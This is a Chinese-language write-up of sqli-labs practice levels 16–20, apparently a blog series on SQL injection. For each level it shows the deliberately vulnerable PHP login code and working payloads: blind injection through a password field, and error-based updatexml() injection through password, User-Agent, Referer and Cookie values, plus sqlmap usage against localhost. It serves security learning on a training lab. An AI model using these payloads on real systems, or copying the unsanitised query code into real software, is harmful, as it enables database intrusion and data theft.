Basic Challenges(Less-16~20)[完结!]
前言
慢慢来,就很快,第一部分:基础挑战正式完结(完结撒花)!!
下一周,将进行高级部分的更新,敬请期待!
有问题欢迎留言或私信提问,有不足之处希望大家能够指出,大家共同进步!
本文格式
### Less-
**黑盒分析:**
**源代码相关部分:**
**代码分析:**
**脚本或工具的使用:**
**payload:**
Less-16
黑盒分析:
已知正确登录的账号密码是admin:admin,登录成功与否在页面上几乎没有区别,唯一的不同是页面有个img标签的src属性不同,这种情况下使用sqlmap我不知道怎么用,于是先手动测试注入点,
基本测试如下:
账号输入admin
密码输入admin'#
错误
账号输入admin
密码输入admin"#
错误
账号输入admin
密码输入admin)#
错误
账号输入admin
密码输入admin')#
错误
账号输入admin
密码输入admin")#
正确
可以判断注入点在admin")
后面
然后通过脚本来进行盲注即可得到数据
源代码相关部分:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '';
echo "
";
echo '';
//echo " You Have successfully logged in " ;
echo '';
echo "
";
//echo 'Your Login name:'. $row['username'];
echo "
";
//echo 'Your Password:' .$row['password'];
echo "
";
echo "";
echo "
";
echo "
";
echo '';
echo "";
}
else
{
echo '';
echo "";
echo "";
//echo "Try again looser";
//print_r(mysql_error());
echo "";
echo "";
echo "";
echo '';
echo "";
}
}
?>
代码分析:
sql语句通过拼接代入数据库查询,变量由")
包裹,只需要闭合双引号和括号即可实现SQL注入
脚本或工具的使用:
脚本类似上篇文章的Less-15,只需要修改一下payload的符号即可
payload:
") or length(database())>1#
Less-17
黑盒分析:
本关卡
当用户名输入错误的时候显示如下
这是一个[PASSWORD RESET]页面,此处服务器使用的SQL语句应该不是
SELECT
语句,而是
UPDATE
语句,一番百度过后,了解到,对于这种注入点,可以使用报错注入来实现获取数据,所以先尝试看是否会报错。
(文末总结几种常见的集中SQL语句形式)
UPDATE
语句一般长这样:
UPDATE users SET password='Nicky' WHERE id=2 and username='Olivia';
如果输入的密码有'
或"
SQL语句会出现语法错误,于是进行如下尝试:
输入用户名admin
和密码admin
正常
输入用户名admin
和密码'admin'
报错
此处存在报错注入!
所以构造报错语句updatexml()
代入进行尝试
输入用户名admin
和密码admin' updatexml(1,concat(0x7e,(version()),0x7e),1) or '
效果如下:
所以此处存在报错注入,可以通过报错注入得到数据
源代码相关部分:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "
";
if (mysql_error())
{
echo '';
print_r(mysql_error());
echo "";
echo "";
}
else
{
echo '';
//echo " You password has been successfully updated " ;
echo "
";
echo "";
}
echo '';
//echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
//echo "Bug off you Silly Dumb hacker";
echo "";
echo '';
echo "";
}
}
代码分析:
本关构造了两次SQL语句,第一次构造查询语句
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
这个查询语句使用了错误抑制符,不会报错,查询成功与否显示完全相同
查询用户名是否存在,如果存在,则会执行第二个SQL语句:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
这个UPDATE
语句中,password是我们可控的内容
再加上后面
if (mysql_error()){
echo '';
print_r(mysql_error());
echo "";
echo "";
}
如果报错,则回显示错误,此处可以通过构造报错语句实现报错注入
脚本或工具的使用:
sqlmap -u "http://localhost/Less-17/" --forms
--forms
:测试表单
sqlmap会提示输入表单默认内容,表单内容输入为
uname=admin&passwd=admin&submit=Submit
即可
payload:
admin' updatexml(1,concat(0x7e,(version()),0x7e),1) or '
Less-18
黑盒分析:
登录成功页面:
登录失败页面:
![18-1.png]( https://upload-images.jianshu.io/upload_images/17216675-621aa6f1221c6f33.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/124
登录成功显示我的
User Agent
,失败则不显示
这是登录页面,登录使用的应该是
SELECT
语句
登录成功就会返回
User Agent
,此处可能存在网站会把
User Agent
信息插入到数据库里的过程,可能有
INSERT
语句被使用
修改一下
User Agent
去测试一下看有没有报错点:
用户名密码填写admin不变,通过Burp截断代理修改
User Agent
的值
为了方便看,我将
User Agent
的值改为了
Mozilla/5.0
接下来改为
'Mozilla/5.0'
进行测试,效果如下:
此处报错了!!
接下来构造报错语句
or updatexml(1,concat(0x7e,(version()),0x7e),1) or
进行测试,修改
User Agent
如下:
Mozilla/5.0'or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
效果如下:
成功报错注入!
源代码相关部分:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
echo '';
echo 'Your User Agent is: ' .$uagent;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo '';
echo "";
}
}
代码分析:
通过POST获取账号密码,进行SELECT查询,如果查询到结果了,就将User Agent
插入到数据库里
第一个查询语句可能存在时间盲注
第二个插入语句存在报错注入
payload:
Mozilla/5.0'or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
Less-19
黑盒分析:
登陆成功页面:
登录失败页面:
此关与上一关卡很像啊有木有!!!
按照上一关的思路试一哈~
http头的Referer会被存到数据库里,所以构造Referer:如下
Referer: abc' or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
得到结果如下:
此处存在报错注入!
源代码相关部分:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$fp=fopen('result.txt','a');
fwrite($fp,'Referer:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
echo '';
echo 'Your Referer is: ' .$uagent;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo '';
echo "";
}
}
代码分析:
本关卡与上一关一样,先通过SELECT
语句登录
如果登陆成功,则插入Referer
到数据库里,
插入报错则回显,所以
可以在INSERT
语句中构造语句进行报错注入
payload:
Referer: abc' or updatexml(1,concat(0x7e,(version()),0x7e),1) or '
Less-20
黑盒分析:
登录成功页面:
点击Delete Your Cookie!
按钮,会返回登录页面
登录失败页面:
登录成功,返回了我的IP
,User Agent
,COOKIE
,Username
,Password
信息
登录会请求一个cookie,cookie有有效期
通过Burp截断发现,登录成功先会返回一个界面:
然后跳转到前面登录成功的页面,
页面上有一句
I LOVE YOU COOKIES
,这应该是个提示,注入点可能在cookie处,所以先进行cookie注入测试:
初步判断这可能是在登录成功后获取到了cookie,跳转到登陆成功页面后,会从数据库查询cookie的值
报错了,此处存在报错注入,尝试如下构造代码:
Cookie: uname=admin' or updatexml(1,concat(0x7e,version(),0x7e),1)#;
效果如下:
此处存在报错注入!
源代码相关部分:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
echo "";
echo '';
//echo 'Your Cookie is: ' .$cookee;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo '';
echo "";
}
}
echo "";
echo '';
echo '